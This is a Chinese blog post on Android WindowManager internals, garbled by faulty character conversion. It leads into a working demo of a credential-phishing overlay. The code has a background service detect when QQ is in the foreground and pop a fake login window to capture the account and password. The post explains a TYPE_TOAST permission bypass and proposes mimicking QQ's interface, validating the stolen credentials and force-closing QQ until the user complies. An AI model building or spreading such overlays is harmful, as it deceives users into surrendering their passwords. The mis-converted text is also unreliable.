Android WindowManager 解析與騙取 QQ 密碼案例分析

  最近在網上看見一我的在烏雲上提了一個漏洞,應用能夠開啓一個後臺 Service,檢測當前頂部應用,若是爲 QQ 或相關應用,就彈出一個自定義 window 用來誘騙用戶輸入帳號密碼,挺感興趣的,總結相關知識寫了一個 demo,界面以下(界面粗糙,應該沒人會上當吧,意思到了就行哈=, =):
            javascript

這裏寫圖片描述

  demo 地址: github.com/zhaozepeng/…             

Window&&WindowManager介紹

  分析 demo 以前,先要整理總結一下相關的知識。先看看 Window 類,Window 是一個抽象類,位於代碼樹 frameworks/android/view/Window.java 文件。連同註釋,這個文件總共一千多行,它歸納了 Android 窗口的基本屬性和基本功能。惟一實現了這個抽象類的是 PhoneWindow,實例化 PhoneWindow 須要一個窗口,只須要經過 WindowManager 便可完成,Window 類的具體實現位於 WindowManagerService中,WindowManager 和 WindowManagerService 的交互是一個 IPC 過程。Android 中的全部視圖都是經過 Window 來呈現的,不論是 Activity,Dialog 仍是 Toast,他們的視圖實際上都是附加在 Window 上的,所以 Window 其實是 View 的直接管理者,點擊事件也是由 Window 傳遞給 view 的。WindowManager.LayoutParams.type 參數表示 window 的類型,共有三種類型,分別是應用 Window,子 Window 和系統 Window。應用 Window 對應着一個 Activity,相似 Dialog 之類的子 Window 不能單獨存在,他須要附屬在應用 Window 上才能夠,系統 Window 則不須要,好比 Toast 之類,能夠直接顯示。每一個 Window 都有對應的 z-orderd,層級大的 Window 會覆蓋在層級小的 Window 之上,應用 Window 的層級範圍是 1~99,子 Window 的範圍是 1000~1999,系統 Window 的範圍是 2000~2999,這些層級範圍都對應着相關的 type,type 的相關取值:官網連接中文資料。WindowManager.LayoutParams.flags 參數表示 Window 的屬性,默認爲 none,flags 的相關取值:官方連接,還有其餘的 LayoutParams 變量名稱和取值能夠參考 WindowManager.LayoutParams(上)WindowManager.LayoutParams(下) 兩篇譯文博客,很詳細。
  再詳細分析一下 WindowManager,WindowManager 主要用來管理窗口的一些狀態、屬性、view 增長、刪除、更新、窗口順序、消息收集和處理等。經過代碼 Context.getSystemService(Context.WINDOW_SERVICE)可 以得到 WindowManager 的實例。WindowManager 所提供的功能很簡單,經常使用的只有三個方法,即添加 View、更新 View 和刪除 View,這三個方法定義在 ViewManager 中,而 WindowManager 繼承了 ViewManagerphp

  • addView();
  • updateViewLayout();
  • removeView();
  這些函數是用來修改 Window 的,它的真正實現是 WindowManagerImpl 類,WindowManagerImpl 這種工做模式是典型的 橋接模式,Window 爲抽象部分,WindowManagerImpl 爲實現部分。WindowManagerImpl 類並無直接實現 Window 的三大操做,而是所有交給了 WindowManagerGlobal 來處理,WindowManagerGlobal 以 單例模式 的形式向外提供本身的實例,在 WindowManagerGlobal 中有以下一段代碼:

private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()複製代碼

將全部的操做所有交給 WindowManagerGlobal 來實現,後續的分析感興趣的能夠看看個人博客: java/android 設計模式學習筆記(8)---橋接模式
  View 是 Android 中視圖的呈現方式,可是 View 不能單獨存在,他必需要附着在 Window 這個抽象的概念上面,每個 Window 都對應着一個 View 和一個 ViewRootImpl,Window 和 View 經過 ViewRootImpl 來創建聯繫,所以有視圖的地方就有 Window,好比常見的 Activity,Dialog,Toast 等,簡化的關係以下所示:
html

這裏寫圖片描述

  對於每一個 activity 只有一個 decorView 也就是 ViewRoot,window 是經過下面方法獲取的

Window mWindow = PolicyManager.makeNewWindow(this);複製代碼

建立完 Window 以後,activity 會爲該 Window 設置回調,Window 接收到外界狀態改變時就會回調到 activity 中。在 activity 中會調用 setContentView() 函數,它是調用 window.setContentView() 完成的,而 Window 的具體實現是 PhoneWindow,因此最終的具體操做是在 PhoneWindow 中,PhoneWindow 的 setContentView 方法第一步會檢測 DecorView 是否存在,若是不存在,就會調用 generateDecor 函數直接建立一個 DecorView;第二步就是將 activity 的視圖添加到 DecorView 的 mContentParent 中;第三步是回調 activity 中的 onContentChanged 方法通知 activity 視圖已經發生改變。這些步驟完成以後,DecorView 尚未被 WindowManager 正式添加到 Window 中,最後調用 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成添加和現實過程,activity 的視圖才能被用戶看到。對 Activity 的啓動過程和 Window 的建立過程感興趣的能夠看看個人這篇博客android 不能在子線程中更新ui的討論和分析
  Dialog Window 的建立過程和 Activity 相似,第一步也是用 PolicyManager.makeNewWindow 方法來建立一個 Window,不過這裏傳入的 Context 必需要爲 Activity 的 context;第二步也是經過 setContentView 函數去設置 dialog 的佈局視圖;第三步調用 show 方法,經過 WindowManager 將 DecorView 添加到 Window 中顯示出來。
  Toast 和 Dialog 不一樣,它稍微複雜一點,首先 Toast 也是基於 Window 來實現的,可是因爲 Toast 具備定時取消的這一個功能,因此係統採用了 Handler。在 Toast 的內部有兩類 IPC 過程,第一類是 Toast 訪問 NotificationManagerService,第二類是 NotificationManagerService 回調 Toast 裏的 TN 接口。在 Toast 類中,最重要的用於顯示該 toast 的 show 方法調用了 service.enqueueToast(pkg, tn, mDuration);也就是說系統爲咱們維持了一個 toast 隊列,這也是爲何兩個 toast 不會同時顯示的緣由,該方法將一個 toast 入隊,顯示則由系統維持顯示的時機。java

private static INotificationManager sService;
static private INotificationManager getService() {
    if (sService != null) {
        return sService;
    }
    sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
    return sService;
}複製代碼

該服務 sService 就是系統用於維護 toast 的服務。最後 NMS 會經過 IPC 調用 Toast 類內部的一個靜態私有類 TN,該類是 toast 的主要實現,該類完成了 toast 視圖的建立,顯示和隱藏。
  網上介紹 WindowManager 的博客不少,都寫得很好的,要具體瞭解的能夠結合看看源碼:linux

blog.csdn.net/chenyafei61…)
www.tuicool.com/articles/fq…
blog.csdn.net/xieqibao/ar…
www.cnblogs.com/xiaoQLu/arc…  android

相關資料太多了,感興趣的能夠看看源碼。git

騙取QQ密碼實例

  有了上面的基礎以後,這個例子其實就很是簡單了。
  第一步編寫一個 Service 而且在 Service 中彈出一個自定義的 Window:github

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
    @Override
    public void backCallback() {
        if (v!=null && v.isAttachedToWindow())
            L.e("remove view ");
            windowManager.removeViewImmediate(v);
    }
});

btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        if (isChecked) {
            et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
        } else {
            et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
        }
        et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                0 : et_pwd.getText().length());
    }
});

//useless
// v.setOnKeyListener(new View.OnKeyListener() {
// @Override
// public boolean onKey(View v, int keyCode, KeyEvent event) {
// Log.e("zhao", keyCode+"");
// if (keyCode == KeyEvent.KEYCODE_BACK) {
// windowManager.removeViewImmediate(v);
// return true;
// }
// return false;
// }
// });


//點擊外部消失
v.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View view, MotionEvent event) {
        Rect temp = new Rect();
        view.getGlobalVisibleRect(temp);
        L.e("remove view ");
        if (temp.contains((int)(event.getX()), (int)(event.getY()))){
            windowManager.removeViewImmediate(v);
            return true;
        }
        return false;
    }
});

btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);複製代碼

  這裏有幾點須要說明一下,設計模式

  • 對懸浮窗權限的詳細介紹請看個人另外一篇博客: Android 懸浮窗各機型各系統適配大全
  • 第一個是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是能夠繞過權限的,這個是在知乎上看見有人說的一個漏洞,哈哈,可是由於在這個 Window 中有 edittext 控件,若是設置爲 toast,軟鍵盤是無法把佈局頂上去的,只有 TYPE_SYSTEM_ERROR 能夠將佈局頂上去,若是想用 toast 繞過權限,佈局就得本身精心去設計了;
  • 第二個是由於有 Edittext,因此 softInputMode 須要設置爲 SOFT_INPUT_ADJUST_PAN,要否則軟鍵盤會覆蓋 Window;
  • 第三個是返回鍵的監聽,setOnKeyListener 是很差用的,最後只能複寫 View 類的 dispatchKeyEvent 函數來實現按鍵監聽了;
  • 第四個是點擊外部消失的操做,看代碼就會明白了;
  • 第五個,獲取頂部應用的權限問題,在這裏很是感謝 @android_jiajia 朋友,提醒了一下,在 5.0 以前,5.0~5.1.1,5.1.1 以後獲取頂部應用的方式實際上是不同的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特別要說明的是 LM 版本以後若是要去獲取頂部應用使用的 getAppTasks 方法時須要用戶手動去開啓權限的,可是這不就暴露了麼,剛開始找到了一個 github 庫去解決 github.com/jaredrummle… android 底層仍是linux內核,因此 /proc 的系統目錄下會有進程的相關信息,原理就是基於此,可是最後依舊獲取不到頂部的應用,最後沒辦法了,只可以使用動態申請權限的方案了 PACKAGE_USAGE_STATS
  • 第六個是在 6.0 的系統上,單單 Manifest 靜態註冊是無論用的,直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是會直接崩潰,具體能夠看看個人這篇博客 android permission權限與安全機制解析(下),這個我在代碼中也作好了適配。不過好消息是使用第一條我介紹的 TYPE_TOAST 依舊是能夠繞過權限的,軟鍵盤覆蓋問題其實能夠把佈局挪上去就能夠了。

  實現了彈出框的彈出以後,接着就要設置一個實時監聽,開啓一個線程,每隔幾秒去監聽用戶正在操做的應用是不是 QQ,這個就簡單多了,使用 ActivityManager 就能夠了:

new Thread(new Runnable() {
    @Override
    public void run() {
        while (isRunning){
            L.e("running");
            try {
                Thread.sleep(3000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            if (isAppForground("com.tencent.mobileqq")){
                myHandler.sendEmptyMessage(1);
            }
        }
    }
}).start();複製代碼

  獲取頂部應用適配方法安全

private boolean isAppForeground(String appName){
    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
        return appName.equals(getTopActivityBeforeL());
    }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
        return appName.equals(getTopActivityAfterLM());
    }else{
        return appName.equals(getTopActivityBeforeLMAfterL());
    }
}

//5.0以前可使用getRunningAppProcesses()函數獲取
private String getTopActivityBeforeL(){
    ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
    return taskInfo.get(0).processName;
}

//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本以後使用
private String getTopActivityBeforeLMAfterL() {
    final int PROCESS_STATE_TOP = 2;
    Field field = null;
    ActivityManager.RunningAppProcessInfo currentInfo = null;
    try {
        field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
    } catch (Exception ignored) {
    }
    ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
    for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
        if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
                && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
            Integer state = null;
            try {
                state = field.getInt(processInfo);
            } catch (Exception e) {
            }
            if (state != null && state == PROCESS_STATE_TOP) {
                currentInfo = processInfo;
                break;
            }
        }
    }
    return currentInfo!=null ? currentInfo.processName : null;
}

//注:6.0以後此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
// private String getTopActivityAfterLM(){
// ActivityManager.RunningAppProcessInfo topActivity =
// ProcessManager.getRunningAppProcessInfo(this).get(0);
// return topActivity.processName;
// }

@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
    try {
        UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
        long milliSecs = 60 * 1000;
        Date date = new Date();
        List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
        if (queryUsageStats.size() <= 0) {
            return null;
        }
        long recentTime = 0;
        String recentPkg = "";
        for (int i = 0; i < queryUsageStats.size(); i++) {
            UsageStats stats = queryUsageStats.get(i);
            if (stats.getLastTimeStamp() > recentTime) {
                recentTime = stats.getLastTimeStamp();
                recentPkg = stats.getPackageName();
            }
        }
        return recentPkg;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}複製代碼

  PS:小米手機的 ROM 官方禁止了這些行爲,不論是 getRunningAppProcesses,getRunningTasks,和 ProcessManager 都只能返回本身和系統應用的列表,怎麼搞?
www.miui.com/forum.php?m…
更新,不光這樣,在最新版本的小米 ROM 中,Manifest 文件中申請了

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />複製代碼

權限,使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 仍是沒法彈出 Window,小米 ROM 須要特殊處理一下,具體的能夠看看個人一個開源項目:Android 懸浮窗權限各機型各系統適配大全,你們感興趣的能夠參與進來。  這樣效果就差很少了,最後在Activity中啓動該Service便可,固然這個還有不少改進的餘地:   1. 修改 UI,使之更加的和 QQ 風格類似。   2. 用戶輸入完帳號和密碼以後,能夠 addView 一個 loadingDialog,接着調用相關接口去驗證用戶名和密碼的正確性,不正確提示用戶從新輸入。   3. 若是用戶不輸入帳號和密碼,直接調用 killBackgrondProcess 函數(須要權限),強硬的把 QQ 關閉,直到用戶輸入帳號和密碼。  固然了,這只是學習知識而已,你們開心就好啊  ̄ˍ ̄。

相關文章
相關標籤/搜索